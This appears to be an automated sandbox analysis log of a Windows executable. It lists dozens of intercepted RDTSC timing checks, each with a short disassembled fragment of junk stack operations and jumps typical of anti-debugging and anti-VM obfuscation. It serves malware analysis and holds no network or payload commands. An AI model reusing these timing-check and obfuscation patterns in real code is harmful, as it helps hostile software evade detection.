Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F555D second address: 9F5597 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ecx 0x00000007 jmp 00007FB495512317h 0x0000000c pop ecx 0x0000000d popad 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FB495512317h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F757C second address: 9F75FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB49551661Dh 0x00000009 popad 0x0000000a pop ebx 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FB495516618h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 mov edi, dword ptr [ebp+122D5747h] 0x0000002c push 00000000h 0x0000002e mov dword ptr [ebp+122D2F7Ah], ecx 0x00000034 push 00000000h 0x00000036 push 00000000h 0x00000038 push edi 0x00000039 call 00007FB495516618h 0x0000003e pop edi 0x0000003f mov dword ptr [esp+04h], edi 0x00000043 add dword ptr [esp+04h], 0000001Dh 0x0000004b inc edi 0x0000004c push edi 0x0000004d ret 0x0000004e pop edi 0x0000004f ret 0x00000050 jbe 00007FB495516619h 0x00000056 movzx edi, si 0x00000059 push eax 0x0000005a push eax 0x0000005b push edx 0x0000005c jl 00007FB49551661Ch 0x00000062 js 00007FB495516616h 0x00000068 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F75FA second address: 9F7604 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jo 00007FB495512306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7604 second address: 9F7608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F3758 second address: 9F3773 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512317h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7793 second address: 9F7798 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9A7C second address: 9F9A83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FA84B second address: 9FA84F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F7798 second address: 9F77C8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512315h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push ecx 0x0000000e pop ecx 0x0000000f jmp 00007FB495512310h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9A83 second address: 9F9A89 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F9A89 second address: 9F9AAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jp 00007FB495512306h 0x00000015 push edi 0x00000016 pop edi 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9F786E second address: 9F7884 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB49551661Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD379 second address: 9FD37E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD37E second address: 9FD39B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495516629h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9FD39B second address: 9FD3A8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0360A second address: A03610 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03610 second address: A0361A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02D45 second address: A02D51 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 jnc 00007FB495516616h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02D51 second address: A02D93 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 jmp 00007FB495512311h 0x0000000a pop ebx 0x0000000b push esi 0x0000000c jns 00007FB495512306h 0x00000012 pop esi 0x00000013 pop edx 0x00000014 pop eax 0x00000015 jnp 00007FB49551233Fh 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007FB495512319h 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A02EE2 second address: A02EE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03011 second address: A03015 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03015 second address: A03019 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03019 second address: A0301F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0301F second address: A03025 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03025 second address: A0302B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0302B second address: A0302F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A03186 second address: A031A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jne 00007FB49551230Eh 0x0000000b pushad 0x0000000c popad 0x0000000d jnl 00007FB495512306h 0x00000013 pop ecx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 pushad 0x00000018 popad 0x00000019 pushad 0x0000001a popad 0x0000001b pop eax 0x0000001c push ebx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A031A5 second address: A031AB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A031AB second address: A031B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0E3 second address: A0E0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0E7 second address: A0E0ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E0ED second address: A0E0F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E261 second address: A0E267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E53F second address: A0E543 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E543 second address: A0E547 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E547 second address: A0E54D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E54D second address: A0E553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A0E553 second address: A0E55F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007FB495516616h 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114C9 second address: A114CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114CD second address: A114D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114D8 second address: A114DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A114DF second address: A114EA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push ebx 0x00000004 pop ebx 0x00000005 push edi 0x00000006 pop edi 0x00000007 pop esi 0x00000008 push edi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3AB7 second address: 9E3AE6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007FB495512312h 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FB495512311h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3AE6 second address: 9E3AEB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3BF1 second address: 9E3C0A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512315h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3C0A second address: 9E3C10 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3C10 second address: 9E3C14 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E3C14 second address: 9E3C33 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495516623h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f push esi 0x00000010 pop esi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E41BD second address: 9E41C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E43DF second address: 9E43E5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E43E5 second address: 9E43E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E43E9 second address: 9E43ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4D2A second address: 9E4D68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 nop 0x00000006 push 00000000h 0x00000008 push ebp 0x00000009 call 00007FB495512308h 0x0000000e pop ebp 0x0000000f mov dword ptr [esp+04h], ebp 0x00000013 add dword ptr [esp+04h], 0000001Ah 0x0000001b inc ebp 0x0000001c push ebp 0x0000001d ret 0x0000001e pop ebp 0x0000001f ret 0x00000020 mov di, 6EEAh 0x00000024 mov edx, eax 0x00000026 lea eax, dword ptr [ebp+124918EBh] 0x0000002c mov dx, 63F6h 0x00000030 nop 0x00000031 push ecx 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 popad 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4D68 second address: 9E4D7F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b jmp 00007FB49551661Bh 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4D7F second address: 9E4DE0 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FB49551230Ch 0x00000008 ja 00007FB495512306h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 nop 0x00000011 push 00000000h 0x00000013 push ecx 0x00000014 call 00007FB495512308h 0x00000019 pop ecx 0x0000001a mov dword ptr [esp+04h], ecx 0x0000001e add dword ptr [esp+04h], 00000016h 0x00000026 inc ecx 0x00000027 push ecx 0x00000028 ret 0x00000029 pop ecx 0x0000002a ret 0x0000002b lea eax, dword ptr [ebp+124918A7h] 0x00000031 push 00000000h 0x00000033 push edx 0x00000034 call 00007FB495512308h 0x00000039 pop edx 0x0000003a mov dword ptr [esp+04h], edx 0x0000003e add dword ptr [esp+04h], 00000018h 0x00000046 inc edx 0x00000047 push edx 0x00000048 ret 0x00000049 pop edx 0x0000004a ret 0x0000004b mov edi, 6A8ADC2Ch 0x00000050 push eax 0x00000051 push eax 0x00000052 push edx 0x00000053 push eax 0x00000054 push edx 0x00000055 push eax 0x00000056 pop eax 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4DE0 second address: 9E4DE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E4DE6 second address: 9C258E instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jns 00007FB495512306h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c mov dword ptr [esp], eax 0x0000000f mov edx, dword ptr [ebp+122D37B5h] 0x00000015 call dword ptr [ebp+122D3248h] 0x0000001b push eax 0x0000001c push edx 0x0000001d js 00007FB49551230Ch 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C258E second address: 9C25A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495516623h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C25A5 second address: 9C25BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512311h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C25BF second address: 9C25D3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495516620h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CD5 second address: A14CEC instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push ebx 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 jc 00007FB495512306h 0x0000000f pop ebx 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CEC second address: A14CFD instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FB495516616h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d push esi 0x0000000e pop esi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A14CFD second address: A14D1C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495512314h 0x00000009 ja 00007FB495512306h 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15007 second address: A1500B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1500B second address: A15049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Eh 0x00000007 jnp 00007FB495512306h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 jng 00007FB495512306h 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b jmp 00007FB495512312h 0x00000020 ja 00007FB495512306h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15049 second address: A15056 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jbe 00007FB495516622h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15056 second address: A15064 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FB495512306h 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15064 second address: A1506E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FB495516616h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A151F6 second address: A151FD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edi 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A15724 second address: A1572A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A19043 second address: A1904E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1904E second address: A19055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999F2A second address: 999F59 instructions: 0x00000000 rdtsc 0x00000002 jns 00007FB495512306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnp 00007FB495512321h 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999F59 second address: 999F5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999F5F second address: 999F65 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E4EC second address: A1E4F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E4F0 second address: A1E52D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495512314h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jno 00007FB495512306h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edi 0x00000015 pop edi 0x00000016 jmp 00007FB495512317h 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E52D second address: A1E533 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E533 second address: A1E54A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512310h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E953 second address: A1E962 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 je 00007FB495516616h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E962 second address: A1E977 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB49551230Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ebx 0x0000000c pop ebx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E977 second address: A1E97B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E97B second address: A1E981 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 999F3C second address: 999F59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FB495516625h 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1ED72 second address: A1ED77 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1ED77 second address: A1EDA1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FB495516621h 0x00000008 jmp 00007FB495516624h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1EF2F second address: A1EF46 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FB495512311h 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F0CE second address: A1F0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F0D4 second address: A1F0D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F0D8 second address: A1F0E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F0E2 second address: A1F0E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F3E5 second address: A1F3EB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1F8E8 second address: A1F8F3 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 push ecx 0x00000006 pop ecx 0x00000007 pop edi 0x00000008 push esi 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E0EF second address: A1E122 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 jmp 00007FB495516629h 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jnl 00007FB49551661Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 push edx 0x00000016 pop edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A1E122 second address: A1E13B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FB495512315h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
